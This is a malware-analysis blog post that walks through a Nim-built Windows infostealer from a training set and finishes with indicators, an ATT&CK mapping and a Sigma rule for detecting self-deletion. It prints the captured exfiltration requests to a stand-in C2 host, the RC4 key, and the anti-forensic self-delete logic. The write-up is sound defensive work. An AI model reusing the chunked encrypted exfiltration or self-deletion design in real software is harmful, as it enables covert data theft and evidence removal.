Anatomy of a Nim Infostealer
DEV Community

Anatomy of a Nim Infostealer

Tracing exfiltration and self-deletion through static, dynamic and advanced static analysis Vasilis Mantas - Threat Detection Engineer Verdict: A 64-bit Windows infostealer written in Nim. It reads a target file from disk, encrypts the contents with RC4 using a key it collects at runtime, and exfiltrates the ciphertext in chunks over plain HTTP GET requests to a hardcoded C2 domain. It establishes no persistence. Instead it does the opposite, it deletes itself from disk on every exit path, whether it succeeds, fails, or is interrupted. This walkthrough covers the full triage chain on a single sample: basic static, basic dynamic, and advanced static analysis. The interesting part is not that the binary steals data. It is how thoroughly it removes itself afterwards, and what that leaves behind for a defender to detect. A note on provenance: this sample comes from a training set, not from a live incident. The methodology and the detection logic are the point, not attribution. Sample details | Property | Value | |---|---| | MD5 | b9497ffb7e9c6f49823b95851ec874e3 | | SHA-256 | 3aca2a08cf296f1845d6171958ef0ffd1c8bdfc3e48bdd34a605cb1f7468213e | | File size | 546.39 KB | | Architecture | x64, EXE | | VirusTotal | 37 / 69 vendors flagged at time of analysis | | Lab | FlareVM (detonation), REMnux (network simulation) | Vendor labels clustered around backdoor and Meterpreter-style naming, which suggested remote access or reverse shell capability. That turned out to be wrong, and it is worth saying so plainly: vendor labels are a starting hypothesis, not a finding. The sample is a stealer, not a backdoor. Basic static analysis Running FLOSS against the binary rather than plain strings surfaces stack and obfuscated strings that a naive extraction misses: FLOSS.exe unknown.exe.malz > output.txt The output is dominated by nim imports, which is a strong indication the binary was compiled from Nim. That matters practically: Nim binaries carry a large runtime, produce unfamiliar symbol names, and are handled poorly by some decompilers. Knowing the source language early saves an hour of confusion later. The alternative - that an author deliberately salted the strings to look like Nim, is possible but expensive, and nothing later in the analysis supported it. PEStudio gave the structural picture: | Indicator | Detail | |---|---| | Embedded file | Overlay at offset 0x0006EA00 , size 106,379 bytes | | TLS callbacks | 2 | | Section ratio | 80.71% | | Virtualized section | .bss | | Manifest identity | winim | | Suspicious API groups | network (16), execution (20), file (20), memory (20) | The winim manifest identity is the Nim library that wraps the Windows API, consistent with the string evidence. The network and file API clusters are the first hint at the sample's actual function: it touches files and it talks over the network. Basic dynamic analysis The first detonation, with no network simulation running, produced an unhelpful result, the binary deleted itself a few seconds after execution. That behaviour is itself a finding. A sample that removes itself when it cannot reach the network is checking for connectivity and bailing out. It also means every subsequent detonation needs REMnux running inetsim first, or there is nothing to observe. With inetsim providing fake DNS and HTTP, and Wireshark capturing, the picture filled in. The sample completes a TCP three-way handshake and issues an initial callback: GET / HTTP/1.1 Host: update.ec12-4-109-278-3-ubuntu20-04.local User-Agent: Mozilla/5.0 It then begins feeding data to a second URI: GET /feed?post=A8E437E8F0367592569A2870BBDD382A1DFBB01A15FC23999D7788C33502A... Host: cdn.altimiter.local Two details are worth pulling out. First, the long hexadecimal blob in the query string is the exfiltration channel. Data is not POSTed; it is encoded into a GET parameter and sent in pieces. This is deliberately unremarkable traffic, outbound HTTP GETs to a CDN-looking hostname are exactly what a proxy log is full of. Second, the initial callback URI does not appear anywhere in the strings output. It is concatenated at runtime. Any detection or hunting approach that relies on matching static strings against known-bad domains would have missed this one entirely. Procmon then confirmed the file interaction: Operation is CreateFile, Process Name is unknown.exe โ†’ C:\Users\Public\passwrd.txt SUCCESS Notably absent: no startup folder writes, no Run key modification, no scheduled task, no service creation. The binary establishes no persistence mechanism at all. Advanced static analysis Loading the binary into Cutter and searching the symbol table for the toRC4 method seen in the strings output gave the pivot point: [0x00409ab2] toRC4__OOZOOZOOZOOZOOZOOnimbleZpkgsZ82675245480490482826752_51 (int64_t arg1, int64_t arg2) ... call genKeystream__OOZOOZOOZOOZOOZOOnimbleZpkgs... RC4 is a stream cipher, so its presence tells us the exfiltrated data is encrypted rather than sent in the clear. That explains the hex blob in the GET parameter. Following the cross-references, toRC4 is called from a method named StealStuff , and the call sits inside a loop. That single structural observation explains the traffic pattern: the sample reads its target, encrypts it in chunks, and sends each chunk as a separate request. The loop in the disassembly and the repeated GETs in the packet capture are the same behaviour viewed from two angles. The key comes from C:\Users\Public\passwrd.txt , which contains the single string SikoMode , the RC4 passphrase, read from disk at runtime rather than embedded in the binary. The killswitch and the self-delete Nim binaries expose three entry-adjacent methods: NimMain , NimMainInner and NimMainModule . The interesting logic lives in NimMainModule : [0x00417913] call nosgetCurrentDir lea rcx, [0x00439c58] call asgnRef call checkKillSwitchURL__sikomode_25 mov byte [0x00439be4], al test al, al jne 0x417940 checkKillSwitchURL returns a boolean. If the URL is unreachable, execution branches to a method named houdini , appropriately, since it makes the binary disappear. Tracing the graph further shows houdini is not only reached on failure. It is called when the DNS request fails on execution, when execution is interrupted at any point, and when the sample finishes exfiltrating everything it was written to collect. Every path terminates in self-deletion. This is a deliberate anti-forensic design. The operator accepts losing reinfection capability in exchange for leaving no binary on disk for a responder to find. It reframes what detection has to look for. Indicators of compromise | Type | Indicator | |---|---| | SHA-256 | 3aca2a08cf296f1845d6171958ef0ffd1c8bdfc3e48bdd34a605cb1f7468213e | | MD5 | b9497ffb7e9c6f49823b95851ec874e3 | | Domain | update.ec12-4-109-278-3-ubuntu20-04.local (runtime-concatenated) | | Domain | cdn.altimiter.local | | URI pattern | /feed?post= | | File | C:\Users\Public\passwrd.txt | | Behaviour | Self-deletion of the executing binary on all exit paths | MITRE ATT&CK mapping | Tactic | Technique | |---|---| | Discovery | T1083 - File and Directory Discovery | | Collection | T1005 - Data from Local System | | Command and Control | T1071.001 - Application Layer Protocol: Web Protocols | | Command and Control | T1132.001 - Data Encoding: Standard Encoding | | Exfiltration | T1041 - Exfiltration Over C2 Channel | | Defense Evasion | T1070.004 - Indicator Removal: File Deletion | | Defense Evasion | T1027 - Obfuscated Files or Information | Detection guidance Most write-ups stop at the IOC table. IOCs age badly - the hash changes on recompile and the domains are burned the moment they are published. The behaviour is what persists, so here is what to actually detect. 1. Self-deletion of a running executable. The strongest signal, because it is unusual for benign software and this sample does it unconditionally. The canonical implementation is a process spawning a command interpreter that deletes the parent's own image path. title: Executable Deletes Itself After Execution status: experimental logsource: category: process_creation product: windows detection: selection: Image|endswith: - '\cmd.exe' - '\powershell.exe' CommandLine|contains: - 'del ' - 'Remove-Item' parent_in_temp: ParentImage|contains: - '\Users' - '\Temp' condition: selection and parent_in_temp falsepositives: - Installers and self-extracting archives cleaning up level: medium 2. High-entropy data in outbound HTTP GET query parameters. The exfiltration channel is a long hex string in a URI. Proxy or firewall logs will show it. Threshold on query-string length and character-class distribution rather than on the domain, since the domain is disposable. 3. Unexpected reads of files in C:\Users\Public . The sample sourced its encryption key from a world-readable location. That directory is rarely touched by legitimate user processes and makes a low-noise hunting ground. 4. Beacon-shaped repetition. The chunked exfiltration produces many similar-length requests to one host in a short window. Summarising outbound requests by destination and counting near-identical URI structures surfaces this regardless of what the domain is called. Detection hypotheses need validating against your own telemetry before they go into production. Treat the rule above as a starting point and tune the parent-process conditions to your environment. Analyst takeaways Three things from this sample are worth carrying forward. Vendor labels are a hypothesis. Thirty-seven engines suggested backdoor. The sample is a stealer with no remote access capability whatsoever. Reading the labels as a conclusion would have sent the entire analysis in the wrong direction. Absence of persistence is a finding, not a dead end. When a sample deliberately leaves nothing behind, detection has to move up the stack, to network behaviour and to the act of removal itself. Runtime string construction defeats static matching. The first C2 domain existed nowhere in the

Read on DEV Community ↗ ← Back to News

Comments

No comments yet. Start the discussion.